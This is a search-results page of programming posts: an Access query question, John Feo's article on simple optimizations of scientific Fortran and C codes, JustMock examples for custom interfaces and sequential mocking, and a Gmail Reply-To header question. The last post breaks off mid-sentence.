Search Results

Search found 41 results on 2 pages for 'i m jm'.

Page 2/2 | < Previous Page | 1 2 

  • How to Sum calulated fields

    - by Nazero Jerry
    I‘d like to ask I question that here that I think would be easy to some people. Ok I have query that return records of two related tables. (One to many) In this query I have about 3 to 4 calculated fields that are based on the fields from the 2 tables. Now I want to have a group by clause for names and sum clause to sum the calculated fields but it ends up in error message saying: “You tried to execute a query that is not part of aggregate function” So I decided to just run the query without the totals *(ie no group by , sum etc,,,) : And then I created another query that totals my previous query. ( i.e. using group by clause for names and sum for calculated fields… no calculation here) This is fine ( I use to do this) but I don’t like having two queries just to get summary total. Is their any other way of doing this in the design view and create only one query?. I would very much appreciate. Thankyou: JM

    Read the article

  • How John Got 15x Improvement Without Really Trying

    - by rchrd
    The following article was published on a Sun Microsystems website a number of years ago by John Feo. It is still useful and worth preserving. So I'm republishing it here.  How I Got 15x Improvement Without Really Trying John Feo, Sun Microsystems Taking ten "personal" program codes used in scientific and engineering research, the author was able to get from 2 to 15 times performance improvement easily by applying some simple general optimization techniques. Introduction Scientific research based on computer simulation depends on the simulation for advancement. The research can advance only as fast as the computational codes can execute. The codes' efficiency determines both the rate and quality of results. In the same amount of time, a faster program can generate more results and can carry out a more detailed simulation of physical phenomena than a slower program. Highly optimized programs help science advance quickly and insure that monies supporting scientific research are used as effectively as possible. Scientific computer codes divide into three broad categories: ISV, community, and personal. ISV codes are large, mature production codes developed and sold commercially. The codes improve slowly over time both in methods and capabilities, and they are well tuned for most vendor platforms. Since the codes are mature and complex, there are few opportunities to improve their performance solely through code optimization. Improvements of 10% to 15% are typical. Examples of ISV codes are DYNA3D, Gaussian, and Nastran. Community codes are non-commercial production codes used by a particular research field. Generally, they are developed and distributed by a single academic or research institution with assistance from the community. Most users just run the codes, but some develop new methods and extensions that feed back into the general release. The codes are available on most vendor platforms. Since these codes are younger than ISV codes, there are more opportunities to optimize the source code. Improvements of 50% are not unusual. Examples of community codes are AMBER, CHARM, BLAST, and FASTA. Personal codes are those written by single users or small research groups for their own use. These codes are not distributed, but may be passed from professor-to-student or student-to-student over several years. They form the primordial ocean of applications from which community and ISV codes emerge. Government research grants pay for the development of most personal codes. This paper reports on the nature and performance of this class of codes. Over the last year, I have looked at over two dozen personal codes from more than a dozen research institutions. The codes cover a variety of scientific fields, including astronomy, atmospheric sciences, bioinformatics, biology, chemistry, geology, and physics. The sources range from a few hundred lines to more than ten thousand lines, and are written in Fortran, Fortran 90, C, and C++. For the most part, the codes are modular, documented, and written in a clear, straightforward manner. They do not use complex language features, advanced data structures, programming tricks, or libraries. I had little trouble understanding what the codes did or how data structures were used. Most came with a makefile. Surprisingly, only one of the applications is parallel. All developers have access to parallel machines, so availability is not an issue. Several tried to parallelize their applications, but stopped after encountering difficulties. Lack of education and a perception that parallelism is difficult prevented most from trying. I parallelized several of the codes using OpenMP, and did not judge any of the codes as difficult to parallelize. Even more surprising than the lack of parallelism is the inefficiency of the codes. I was able to get large improvements in performance in a matter of a few days applying simple optimization techniques. Table 1 lists ten representative codes [names and affiliation are omitted to preserve anonymity]. Improvements on one processor range from 2x to 15.5x with a simple average of 4.75x. I did not use sophisticated performance tools or drill deep into the program's execution character as one would do when tuning ISV or community codes. Using only a profiler and source line timers, I identified inefficient sections of code and improved their performance by inspection. The changes were at a high level. I am sure there is another factor of 2 or 3 in each code, and more if the codes are parallelized. The study’s results show that personal scientific codes are running many times slower than they should and that the problem is pervasive. Computational scientists are not sloppy programmers; however, few are trained in the art of computer programming or code optimization. I found that most have a working knowledge of some programming language and standard software engineering practices; but they do not know, or think about, how to make their programs run faster. They simply do not know the standard techniques used to make codes run faster. In fact, they do not even perceive that such techniques exist. The case studies described in this paper show that applying simple, well known techniques can significantly increase the performance of personal codes. It is important that the scientific community and the Government agencies that support scientific research find ways to better educate academic scientific programmers. The inefficiency of their codes is so bad that it is retarding both the quality and progress of scientific research. # cacheperformance redundantoperations loopstructures performanceimprovement 1 x x 15.5 2 x 2.8 3 x x 2.5 4 x 2.1 5 x x 2.0 6 x 5.0 7 x 5.8 8 x 6.3 9 2.2 10 x x 3.3 Table 1 — Area of improvement and performance gains of 10 codes The remainder of the paper is organized as follows: sections 2, 3, and 4 discuss the three most common sources of inefficiencies in the codes studied. These are cache performance, redundant operations, and loop structures. Each section includes several examples. The last section summaries the work and suggests a possible solution to the issues raised. Optimizing cache performance Commodity microprocessor systems use caches to increase memory bandwidth and reduce memory latencies. Typical latencies from processor to L1, L2, local, and remote memory are 3, 10, 50, and 200 cycles, respectively. Moreover, bandwidth falls off dramatically as memory distances increase. Programs that do not use cache effectively run many times slower than programs that do. When optimizing for cache, the biggest performance gains are achieved by accessing data in cache order and reusing data to amortize the overhead of cache misses. Secondary considerations are prefetching, associativity, and replacement; however, the understanding and analysis required to optimize for the latter are probably beyond the capabilities of the non-expert. Much can be gained simply by accessing data in the correct order and maximizing data reuse. 6 out of the 10 codes studied here benefited from such high level optimizations. Array Accesses The most important cache optimization is the most basic: accessing Fortran array elements in column order and C array elements in row order. Four of the ten codes—1, 2, 4, and 10—got it wrong. Compilers will restructure nested loops to optimize cache performance, but may not do so if the loop structure is too complex, or the loop body includes conditionals, complex addressing, or function calls. In code 1, the compiler failed to invert a key loop because of complex addressing do I = 0, 1010, delta_x IM = I - delta_x IP = I + delta_x do J = 5, 995, delta_x JM = J - delta_x JP = J + delta_x T1 = CA1(IP, J) + CA1(I, JP) T2 = CA1(IM, J) + CA1(I, JM) S1 = T1 + T2 - 4 * CA1(I, J) CA(I, J) = CA1(I, J) + D * S1 end do end do In code 2, the culprit is conditionals do I = 1, N do J = 1, N If (IFLAG(I,J) .EQ. 0) then T1 = Value(I, J-1) T2 = Value(I-1, J) T3 = Value(I, J) T4 = Value(I+1, J) T5 = Value(I, J+1) Value(I,J) = 0.25 * (T1 + T2 + T5 + T4) Delta = ABS(T3 - Value(I,J)) If (Delta .GT. MaxDelta) MaxDelta = Delta endif enddo enddo I fixed both programs by inverting the loops by hand. Code 10 has three-dimensional arrays and triply nested loops. The structure of the most computationally intensive loops is too complex to invert automatically or by hand. The only practical solution is to transpose the arrays so that the dimension accessed by the innermost loop is in cache order. The arrays can be transposed at construction or prior to entering a computationally intensive section of code. The former requires all array references to be modified, while the latter is cost effective only if the cost of the transpose is amortized over many accesses. I used the second approach to optimize code 10. Code 5 has four-dimensional arrays and loops are nested four deep. For all of the reasons cited above the compiler is not able to restructure three key loops. Assume C arrays and let the four dimensions of the arrays be i, j, k, and l. In the original code, the index structure of the three loops is L1: for i L2: for i L3: for i for l for l for j for k for j for k for j for k for l So only L3 accesses array elements in cache order. L1 is a very complex loop—much too complex to invert. I brought the loop into cache alignment by transposing the second and fourth dimensions of the arrays. Since the code uses a macro to compute all array indexes, I effected the transpose at construction and changed the macro appropriately. The dimensions of the new arrays are now: i, l, k, and j. L3 is a simple loop and easily inverted. L2 has a loop-carried scalar dependence in k. By promoting the scalar name that carries the dependence to an array, I was able to invert the third and fourth subloops aligning the loop with cache. Code 5 is by far the most difficult of the four codes to optimize for array accesses; but the knowledge required to fix the problems is no more than that required for the other codes. I would judge this code at the limits of, but not beyond, the capabilities of appropriately trained computational scientists. Array Strides When a cache miss occurs, a line (64 bytes) rather than just one word is loaded into the cache. If data is accessed stride 1, than the cost of the miss is amortized over 8 words. Any stride other than one reduces the cost savings. Two of the ten codes studied suffered from non-unit strides. The codes represent two important classes of "strided" codes. Code 1 employs a multi-grid algorithm to reduce time to convergence. The grids are every tenth, fifth, second, and unit element. Since time to convergence is inversely proportional to the distance between elements, coarse grids converge quickly providing good starting values for finer grids. The better starting values further reduce the time to convergence. The downside is that grids of every nth element, n > 1, introduce non-unit strides into the computation. In the original code, much of the savings of the multi-grid algorithm were lost due to this problem. I eliminated the problem by compressing (copying) coarse grids into continuous memory, and rewriting the computation as a function of the compressed grid. On convergence, I copied the final values of the compressed grid back to the original grid. The savings gained from unit stride access of the compressed grid more than paid for the cost of copying. Using compressed grids, the loop from code 1 included in the previous section becomes do j = 1, GZ do i = 1, GZ T1 = CA(i+0, j-1) + CA(i-1, j+0) T4 = CA1(i+1, j+0) + CA1(i+0, j+1) S1 = T1 + T4 - 4 * CA1(i+0, j+0) CA(i+0, j+0) = CA1(i+0, j+0) + DD * S1 enddo enddo where CA and CA1 are compressed arrays of size GZ. Code 7 traverses a list of objects selecting objects for later processing. The labels of the selected objects are stored in an array. The selection step has unit stride, but the processing steps have irregular stride. A fix is to save the parameters of the selected objects in temporary arrays as they are selected, and pass the temporary arrays to the processing functions. The fix is practical if the same parameters are used in selection as in processing, or if processing comprises a series of distinct steps which use overlapping subsets of the parameters. Both conditions are true for code 7, so I achieved significant improvement by copying parameters to temporary arrays during selection. Data reuse In the previous sections, we optimized for spatial locality. It is also important to optimize for temporal locality. Once read, a datum should be used as much as possible before it is forced from cache. Loop fusion and loop unrolling are two techniques that increase temporal locality. Unfortunately, both techniques increase register pressure—as loop bodies become larger, the number of registers required to hold temporary values grows. Once register spilling occurs, any gains evaporate quickly. For multiprocessors with small register sets or small caches, the sweet spot can be very small. In the ten codes presented here, I found no opportunities for loop fusion and only two opportunities for loop unrolling (codes 1 and 3). In code 1, unrolling the outer and inner loop one iteration increases the number of result values computed by the loop body from 1 to 4, do J = 1, GZ-2, 2 do I = 1, GZ-2, 2 T1 = CA1(i+0, j-1) + CA1(i-1, j+0) T2 = CA1(i+1, j-1) + CA1(i+0, j+0) T3 = CA1(i+0, j+0) + CA1(i-1, j+1) T4 = CA1(i+1, j+0) + CA1(i+0, j+1) T5 = CA1(i+2, j+0) + CA1(i+1, j+1) T6 = CA1(i+1, j+1) + CA1(i+0, j+2) T7 = CA1(i+2, j+1) + CA1(i+1, j+2) S1 = T1 + T4 - 4 * CA1(i+0, j+0) S2 = T2 + T5 - 4 * CA1(i+1, j+0) S3 = T3 + T6 - 4 * CA1(i+0, j+1) S4 = T4 + T7 - 4 * CA1(i+1, j+1) CA(i+0, j+0) = CA1(i+0, j+0) + DD * S1 CA(i+1, j+0) = CA1(i+1, j+0) + DD * S2 CA(i+0, j+1) = CA1(i+0, j+1) + DD * S3 CA(i+1, j+1) = CA1(i+1, j+1) + DD * S4 enddo enddo The loop body executes 12 reads, whereas as the rolled loop shown in the previous section executes 20 reads to compute the same four values. In code 3, two loops are unrolled 8 times and one loop is unrolled 4 times. Here is the before for (k = 0; k < NK[u]; k++) { sum = 0.0; for (y = 0; y < NY; y++) { sum += W[y][u][k] * delta[y]; } backprop[i++]=sum; } and after code for (k = 0; k < KK - 8; k+=8) { sum0 = 0.0; sum1 = 0.0; sum2 = 0.0; sum3 = 0.0; sum4 = 0.0; sum5 = 0.0; sum6 = 0.0; sum7 = 0.0; for (y = 0; y < NY; y++) { sum0 += W[y][0][k+0] * delta[y]; sum1 += W[y][0][k+1] * delta[y]; sum2 += W[y][0][k+2] * delta[y]; sum3 += W[y][0][k+3] * delta[y]; sum4 += W[y][0][k+4] * delta[y]; sum5 += W[y][0][k+5] * delta[y]; sum6 += W[y][0][k+6] * delta[y]; sum7 += W[y][0][k+7] * delta[y]; } backprop[k+0] = sum0; backprop[k+1] = sum1; backprop[k+2] = sum2; backprop[k+3] = sum3; backprop[k+4] = sum4; backprop[k+5] = sum5; backprop[k+6] = sum6; backprop[k+7] = sum7; } for one of the loops unrolled 8 times. Optimizing for temporal locality is the most difficult optimization considered in this paper. The concepts are not difficult, but the sweet spot is small. Identifying where the program can benefit from loop unrolling or loop fusion is not trivial. Moreover, it takes some effort to get it right. Still, educating scientific programmers about temporal locality and teaching them how to optimize for it will pay dividends. Reducing instruction count Execution time is a function of instruction count. Reduce the count and you usually reduce the time. The best solution is to use a more efficient algorithm; that is, an algorithm whose order of complexity is smaller, that converges quicker, or is more accurate. Optimizing source code without changing the algorithm yields smaller, but still significant, gains. This paper considers only the latter because the intent is to study how much better codes can run if written by programmers schooled in basic code optimization techniques. The ten codes studied benefited from three types of "instruction reducing" optimizations. The two most prevalent were hoisting invariant memory and data operations out of inner loops. The third was eliminating unnecessary data copying. The nature of these inefficiencies is language dependent. Memory operations The semantics of C make it difficult for the compiler to determine all the invariant memory operations in a loop. The problem is particularly acute for loops in functions since the compiler may not know the values of the function's parameters at every call site when compiling the function. Most compilers support pragmas to help resolve ambiguities; however, these pragmas are not comprehensive and there is no standard syntax. To guarantee that invariant memory operations are not executed repetitively, the user has little choice but to hoist the operations by hand. The problem is not as severe in Fortran programs because in the absence of equivalence statements, it is a violation of the language's semantics for two names to share memory. Codes 3 and 5 are C programs. In both cases, the compiler did not hoist all invariant memory operations from inner loops. Consider the following loop from code 3 for (y = 0; y < NY; y++) { i = 0; for (u = 0; u < NU; u++) { for (k = 0; k < NK[u]; k++) { dW[y][u][k] += delta[y] * I1[i++]; } } } Since dW[y][u] can point to the same memory space as delta for one or more values of y and u, assignment to dW[y][u][k] may change the value of delta[y]. In reality, dW and delta do not overlap in memory, so I rewrote the loop as for (y = 0; y < NY; y++) { i = 0; Dy = delta[y]; for (u = 0; u < NU; u++) { for (k = 0; k < NK[u]; k++) { dW[y][u][k] += Dy * I1[i++]; } } } Failure to hoist invariant memory operations may be due to complex address calculations. If the compiler can not determine that the address calculation is invariant, then it can hoist neither the calculation nor the associated memory operations. As noted above, code 5 uses a macro to address four-dimensional arrays #define MAT4D(a,q,i,j,k) (double *)((a)->data + (q)*(a)->strides[0] + (i)*(a)->strides[3] + (j)*(a)->strides[2] + (k)*(a)->strides[1]) The macro is too complex for the compiler to understand and so, it does not identify any subexpressions as loop invariant. The simplest way to eliminate the address calculation from the innermost loop (over i) is to define a0 = MAT4D(a,q,0,j,k) before the loop and then replace all instances of *MAT4D(a,q,i,j,k) in the loop with a0[i] A similar problem appears in code 6, a Fortran program. The key loop in this program is do n1 = 1, nh nx1 = (n1 - 1) / nz + 1 nz1 = n1 - nz * (nx1 - 1) do n2 = 1, nh nx2 = (n2 - 1) / nz + 1 nz2 = n2 - nz * (nx2 - 1) ndx = nx2 - nx1 ndy = nz2 - nz1 gxx = grn(1,ndx,ndy) gyy = grn(2,ndx,ndy) gxy = grn(3,ndx,ndy) balance(n1,1) = balance(n1,1) + (force(n2,1) * gxx + force(n2,2) * gxy) * h1 balance(n1,2) = balance(n1,2) + (force(n2,1) * gxy + force(n2,2) * gyy)*h1 end do end do The programmer has written this loop well—there are no loop invariant operations with respect to n1 and n2. However, the loop resides within an iterative loop over time and the index calculations are independent with respect to time. Trading space for time, I precomputed the index values prior to the entering the time loop and stored the values in two arrays. I then replaced the index calculations with reads of the arrays. Data operations Ways to reduce data operations can appear in many forms. Implementing a more efficient algorithm produces the biggest gains. The closest I came to an algorithm change was in code 4. This code computes the inner product of K-vectors A(i) and B(j), 0 = i < N, 0 = j < M, for most values of i and j. Since the program computes most of the NM possible inner products, it is more efficient to compute all the inner products in one triply-nested loop rather than one at a time when needed. The savings accrue from reading A(i) once for all B(j) vectors and from loop unrolling. for (i = 0; i < N; i+=8) { for (j = 0; j < M; j++) { sum0 = 0.0; sum1 = 0.0; sum2 = 0.0; sum3 = 0.0; sum4 = 0.0; sum5 = 0.0; sum6 = 0.0; sum7 = 0.0; for (k = 0; k < K; k++) { sum0 += A[i+0][k] * B[j][k]; sum1 += A[i+1][k] * B[j][k]; sum2 += A[i+2][k] * B[j][k]; sum3 += A[i+3][k] * B[j][k]; sum4 += A[i+4][k] * B[j][k]; sum5 += A[i+5][k] * B[j][k]; sum6 += A[i+6][k] * B[j][k]; sum7 += A[i+7][k] * B[j][k]; } C[i+0][j] = sum0; C[i+1][j] = sum1; C[i+2][j] = sum2; C[i+3][j] = sum3; C[i+4][j] = sum4; C[i+5][j] = sum5; C[i+6][j] = sum6; C[i+7][j] = sum7; }} This change requires knowledge of a typical run; i.e., that most inner products are computed. The reasons for the change, however, derive from basic optimization concepts. It is the type of change easily made at development time by a knowledgeable programmer. In code 5, we have the data version of the index optimization in code 6. Here a very expensive computation is a function of the loop indices and so cannot be hoisted out of the loop; however, the computation is invariant with respect to an outer iterative loop over time. We can compute its value for each iteration of the computation loop prior to entering the time loop and save the values in an array. The increase in memory required to store the values is small in comparison to the large savings in time. The main loop in Code 8 is doubly nested. The inner loop includes a series of guarded computations; some are a function of the inner loop index but not the outer loop index while others are a function of the outer loop index but not the inner loop index for (j = 0; j < N; j++) { for (i = 0; i < M; i++) { r = i * hrmax; R = A[j]; temp = (PRM[3] == 0.0) ? 1.0 : pow(r, PRM[3]); high = temp * kcoeff * B[j] * PRM[2] * PRM[4]; low = high * PRM[6] * PRM[6] / (1.0 + pow(PRM[4] * PRM[6], 2.0)); kap = (R > PRM[6]) ? high * R * R / (1.0 + pow(PRM[4]*r, 2.0) : low * pow(R/PRM[6], PRM[5]); < rest of loop omitted > }} Note that the value of temp is invariant to j. Thus, we can hoist the computation for temp out of the loop and save its values in an array. for (i = 0; i < M; i++) { r = i * hrmax; TEMP[i] = pow(r, PRM[3]); } [N.B. – the case for PRM[3] = 0 is omitted and will be reintroduced later.] We now hoist out of the inner loop the computations invariant to i. Since the conditional guarding the value of kap is invariant to i, it behooves us to hoist the computation out of the inner loop, thereby executing the guard once rather than M times. The final version of the code is for (j = 0; j < N; j++) { R = rig[j] / 1000.; tmp1 = kcoeff * par[2] * beta[j] * par[4]; tmp2 = 1.0 + (par[4] * par[4] * par[6] * par[6]); tmp3 = 1.0 + (par[4] * par[4] * R * R); tmp4 = par[6] * par[6] / tmp2; tmp5 = R * R / tmp3; tmp6 = pow(R / par[6], par[5]); if ((par[3] == 0.0) && (R > par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * tmp5; } else if ((par[3] == 0.0) && (R <= par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * tmp4 * tmp6; } else if ((par[3] != 0.0) && (R > par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * TEMP[i] * tmp5; } else if ((par[3] != 0.0) && (R <= par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * TEMP[i] * tmp4 * tmp6; } for (i = 0; i < M; i++) { kap = KAP[i]; r = i * hrmax; < rest of loop omitted > } } Maybe not the prettiest piece of code, but certainly much more efficient than the original loop, Copy operations Several programs unnecessarily copy data from one data structure to another. This problem occurs in both Fortran and C programs, although it manifests itself differently in the two languages. Code 1 declares two arrays—one for old values and one for new values. At the end of each iteration, the array of new values is copied to the array of old values to reset the data structures for the next iteration. This problem occurs in Fortran programs not included in this study and in both Fortran 77 and Fortran 90 code. Introducing pointers to the arrays and swapping pointer values is an obvious way to eliminate the copying; but pointers is not a feature that many Fortran programmers know well or are comfortable using. An easy solution not involving pointers is to extend the dimension of the value array by 1 and use the last dimension to differentiate between arrays at different times. For example, if the data space is N x N, declare the array (N, N, 2). Then store the problem’s initial values in (_, _, 2) and define the scalar names new = 2 and old = 1. At the start of each iteration, swap old and new to reset the arrays. The old–new copy problem did not appear in any C program. In programs that had new and old values, the code swapped pointers to reset data structures. Where unnecessary coping did occur is in structure assignment and parameter passing. Structures in C are handled much like scalars. Assignment causes the data space of the right-hand name to be copied to the data space of the left-hand name. Similarly, when a structure is passed to a function, the data space of the actual parameter is copied to the data space of the formal parameter. If the structure is large and the assignment or function call is in an inner loop, then copying costs can grow quite large. While none of the ten programs considered here manifested this problem, it did occur in programs not included in the study. A simple fix is always to refer to structures via pointers. Optimizing loop structures Since scientific programs spend almost all their time in loops, efficient loops are the key to good performance. Conditionals, function calls, little instruction level parallelism, and large numbers of temporary values make it difficult for the compiler to generate tightly packed, highly efficient code. Conditionals and function calls introduce jumps that disrupt code flow. Users should eliminate or isolate conditionls to their own loops as much as possible. Often logical expressions can be substituted for if-then-else statements. For example, code 2 includes the following snippet MaxDelta = 0.0 do J = 1, N do I = 1, M < code omitted > Delta = abs(OldValue ? NewValue) if (Delta > MaxDelta) MaxDelta = Delta enddo enddo if (MaxDelta .gt. 0.001) goto 200 Since the only use of MaxDelta is to control the jump to 200 and all that matters is whether or not it is greater than 0.001, I made MaxDelta a boolean and rewrote the snippet as MaxDelta = .false. do J = 1, N do I = 1, M < code omitted > Delta = abs(OldValue ? NewValue) MaxDelta = MaxDelta .or. (Delta .gt. 0.001) enddo enddo if (MaxDelta) goto 200 thereby, eliminating the conditional expression from the inner loop. A microprocessor can execute many instructions per instruction cycle. Typically, it can execute one or more memory, floating point, integer, and jump operations. To be executed simultaneously, the operations must be independent. Thick loops tend to have more instruction level parallelism than thin loops. Moreover, they reduce memory traffice by maximizing data reuse. Loop unrolling and loop fusion are two techniques to increase the size of loop bodies. Several of the codes studied benefitted from loop unrolling, but none benefitted from loop fusion. This observation is not too surpising since it is the general tendency of programmers to write thick loops. As loops become thicker, the number of temporary values grows, increasing register pressure. If registers spill, then memory traffic increases and code flow is disrupted. A thick loop with many temporary values may execute slower than an equivalent series of thin loops. The biggest gain will be achieved if the thick loop can be split into a series of independent loops eliminating the need to write and read temporary arrays. I found such an occasion in code 10 where I split the loop do i = 1, n do j = 1, m A24(j,i)= S24(j,i) * T24(j,i) + S25(j,i) * U25(j,i) B24(j,i)= S24(j,i) * T25(j,i) + S25(j,i) * U24(j,i) A25(j,i)= S24(j,i) * C24(j,i) + S25(j,i) * V24(j,i) B25(j,i)= S24(j,i) * U25(j,i) + S25(j,i) * V25(j,i) C24(j,i)= S26(j,i) * T26(j,i) + S27(j,i) * U26(j,i) D24(j,i)= S26(j,i) * T27(j,i) + S27(j,i) * V26(j,i) C25(j,i)= S27(j,i) * S28(j,i) + S26(j,i) * U28(j,i) D25(j,i)= S27(j,i) * T28(j,i) + S26(j,i) * V28(j,i) end do end do into two disjoint loops do i = 1, n do j = 1, m A24(j,i)= S24(j,i) * T24(j,i) + S25(j,i) * U25(j,i) B24(j,i)= S24(j,i) * T25(j,i) + S25(j,i) * U24(j,i) A25(j,i)= S24(j,i) * C24(j,i) + S25(j,i) * V24(j,i) B25(j,i)= S24(j,i) * U25(j,i) + S25(j,i) * V25(j,i) end do end do do i = 1, n do j = 1, m C24(j,i)= S26(j,i) * T26(j,i) + S27(j,i) * U26(j,i) D24(j,i)= S26(j,i) * T27(j,i) + S27(j,i) * V26(j,i) C25(j,i)= S27(j,i) * S28(j,i) + S26(j,i) * U28(j,i) D25(j,i)= S27(j,i) * T28(j,i) + S26(j,i) * V28(j,i) end do end do Conclusions Over the course of the last year, I have had the opportunity to work with over two dozen academic scientific programmers at leading research universities. Their research interests span a broad range of scientific fields. Except for two programs that relied almost exclusively on library routines (matrix multiply and fast Fourier transform), I was able to improve significantly the single processor performance of all codes. Improvements range from 2x to 15.5x with a simple average of 4.75x. Changes to the source code were at a very high level. I did not use sophisticated techniques or programming tools to discover inefficiencies or effect the changes. Only one code was parallel despite the availability of parallel systems to all developers. Clearly, we have a problem—personal scientific research codes are highly inefficient and not running parallel. The developers are unaware of simple optimization techniques to make programs run faster. They lack education in the art of code optimization and parallel programming. I do not believe we can fix the problem by publishing additional books or training manuals. To date, the developers in questions have not studied the books or manual available, and are unlikely to do so in the future. Short courses are a possible solution, but I believe they are too concentrated to be much use. The general concepts can be taught in a three or four day course, but that is not enough time for students to practice what they learn and acquire the experience to apply and extend the concepts to their codes. Practice is the key to becoming proficient at optimization. I recommend that graduate students be required to take a semester length course in optimization and parallel programming. We would never give someone access to state-of-the-art scientific equipment costing hundreds of thousands of dollars without first requiring them to demonstrate that they know how to use the equipment. Yet the criterion for time on state-of-the-art supercomputers is at most an interesting project. Requestors are never asked to demonstrate that they know how to use the system, or can use the system effectively. A semester course would teach them the required skills. Government agencies that fund academic scientific research pay for most of the computer systems supporting scientific research as well as the development of most personal scientific codes. These agencies should require graduate schools to offer a course in optimization and parallel programming as a requirement for funding. About the Author John Feo received his Ph.D. in Computer Science from The University of Texas at Austin in 1986. After graduate school, Dr. Feo worked at Lawrence Livermore National Laboratory where he was the Group Leader of the Computer Research Group and principal investigator of the Sisal Language Project. In 1997, Dr. Feo joined Tera Computer Company where he was project manager for the MTA, and oversaw the programming and evaluation of the MTA at the San Diego Supercomputer Center. In 2000, Dr. Feo joined Sun Microsystems as an HPC application specialist. He works with university research groups to optimize and parallelize scientific codes. Dr. Feo has published over two dozen research articles in the areas of parallel parallel programming, parallel programming languages, and application performance.

    Read the article

  • Adding custom interfaces to your mock instance.

    - by mehfuzh
    Previously, i made a post  showing how you can leverage the dependent interfaces that is implemented by JustMock during the creation of mock instance. It could be a informative post that let you understand how JustMock behaves internally for class or interfaces implement other interfaces into it. But the question remains, how you can add your own custom interface to your target mock. In this post, i am going to show you just that. Today, i will not start with a dummy class as usual rather i will use two most common interfaces in the .NET framework  and create a mock combining those. Before, i start i would like to point out that in the recent release of JustMock we have extended the Mock.Create<T>(..) with support for additional settings though closure. You can add your own custom interfaces , specify directly the real constructor that should be called or even set the behavior of your target. Doing a fast forward directly to the point,  here goes the test code for create a creating a mock that contains the mix for ICloneable and IDisposable using the above mentioned changeset. var myMock = Mock.Create<IDisposable>(x => x.Implements<ICloneable>()); var myMockAsClonable = myMock as ICloneable; bool isCloned = false;   Mock.Arrange(() => myMockAsClonable.Clone()).DoInstead(() => isCloned = true);   myMockAsClonable.Clone();   Assert.True(isCloned);   Here, we are creating the target mock for IDisposable and also implementing ICloneable. Finally, using the “as” for getting the ICloneable reference accordingly arranging it, acting on it and asserting if the expectation is met properly. This is a very rudimentary example, you can do the same for a given class: var realItem = Mock.Create<RealItem>(x => {     x.Implements<IDisposable>();     x.CallConstructor(() => new RealItem(0)); }); var iDispose = realItem as IDisposable;     iDispose.Dispose(); Here, i am also calling the real constructor for RealItem class.  This is to mention that you can implement custom interfaces only for non-sealed classes or less it will end up with a proper exception. Also, this feature don’t require any profiler, if you are agile or running it inside silverlight runtime feel free to try it turning off the JM add-in :-). TIP :  Ability to  specify real constructor could be a useful productivity boost in cases for code change and you can re-factor the usage just by one click with your favorite re-factor tool.   That’s it for now and hope that helps Enjoy!!

    Read the article

  • GMail appearing to ignore Reply-To.

    - by Samuurai
    I'm using a gmail account to send emails from my website. I'm using the same account to pick up emails which are generated by the contact facility on my site. I'm using the Reply-To field to attempt to make it easier to hit reply and easily get back to people. The message comes up with the 'from' address and ignores the 'reply-to' address. Here's my header: Return-Path: <[email protected]> Received: from svr1 (ec2-79-125-266-266.eu-west-1.compute.amazonaws.com [79.125.266.266]) by mx.google.com with ESMTPS id u14sm23273123gvf.17.2010.03.10.14.33.24 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 10 Mar 2010 14:33:25 -0800 (PST) Received: from localhost ([127.0.0.1] helo=www.rds.com) by aquacouture with esmtp (Exim 4.69) (envelope-from <[email protected]>) id 1NpUSx-0001dK-JM for [email protected]; Wed, 10 Mar 2010 22:33:23 +0000 User-Agent: CodeIgniter Date: Wed, 10 Mar 2010 22:33:23 +0000 From: "New Inquiry" <[email protected]> Reply-To: "Beren" <[email protected]> To: [email protected] Subject: =?utf-8?Q?Test?= X-Sender: [email protected] X-Mailer: CodeIgniter X-Priority: 3 (Normal) Message-ID: <[email protected]> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="B_ALT_4b981e3390ccd" This is a multi-part message in MIME format. Your email application may not support this format. --B_ALT_4b981e3390ccd Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit test --B_ALT_4b981e3390ccd Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable test --B_ALT_4b981e3390ccd--

    Read the article

  • Mocking successive calls of similar type via sequential mocking

    - by mehfuzh
    In this post , i show how you can benefit from  sequential mocking feature[In JustMock] for setting up expectations with successive calls of same type.  To start let’s first consider the following dummy database and entity class. public class Person {     public virtual string Name { get; set; }     public virtual int Age { get; set; } }   public interface IDataBase {     T Get<T>(); } Now, our test goal is to return different entity for successive calls on IDataBase.Get<T>(). By default, the behavior in JustMock is override , which is similar to other popular mocking tools. By override it means that the tool will consider always the latest user setup. Therefore, the first example will return the latest entity every-time and will fail in line #12: Person person1 = new Person { Age = 30, Name = "Kosev" }; Person person2 = new Person { Age = 80, Name = "Mihail" };   var database = Mock.Create<IDataBase>();   Queue<Person> queue = new Queue<Person>();   Mock.Arrange(() => database.Get<Person>()).Returns(() => queue.Dequeue()); Mock.Arrange(() => database.Get<Person>()).Returns(person2);   // this will fail Assert.Equal(person1.GetHashCode(), database.Get<Person>().GetHashCode());   Assert.Equal(person2.GetHashCode(), database.Get<Person>().GetHashCode()); We can solve it the following way using a Queue and that removes the item from bottom on each call: Person person1 = new Person { Age = 30, Name = "Kosev" }; Person person2 = new Person { Age = 80, Name = "Mihail" };   var database = Mock.Create<IDataBase>();   Queue<Person> queue = new Queue<Person>();   queue.Enqueue(person1); queue.Enqueue(person2);   Mock.Arrange(() => database.Get<Person>()).Returns(queue.Dequeue());   Assert.Equal(person1.GetHashCode(), database.Get<Person>().GetHashCode()); Assert.Equal(person2.GetHashCode(), database.Get<Person>().GetHashCode()); This will ensure that right entity is returned but this is not an elegant solution. So, in JustMock we introduced a  new option that lets you set up your expectations sequentially. Like: Person person1 = new Person { Age = 30, Name = "Kosev" }; Person person2 = new Person { Age = 80, Name = "Mihail" };   var database = Mock.Create<IDataBase>();   Mock.Arrange(() => database.Get<Person>()).Returns(person1).InSequence(); Mock.Arrange(() => database.Get<Person>()).Returns(person2).InSequence();   Assert.Equal(person1.GetHashCode(), database.Get<Person>().GetHashCode()); Assert.Equal(person2.GetHashCode(), database.Get<Person>().GetHashCode()); The  “InSequence” modifier will tell the mocking tool to return the expected result as in the order it is specified by user. The solution though pretty simple and but neat(to me) and way too simpler than using a collection to solve this type of cases. Hope that helps P.S. The example shown in my blog is using interface don’t require a profiler  and you can even use a notepad and build it referencing Telerik.JustMock.dll, run it with GUI tools and it will work. But this feature also applies to 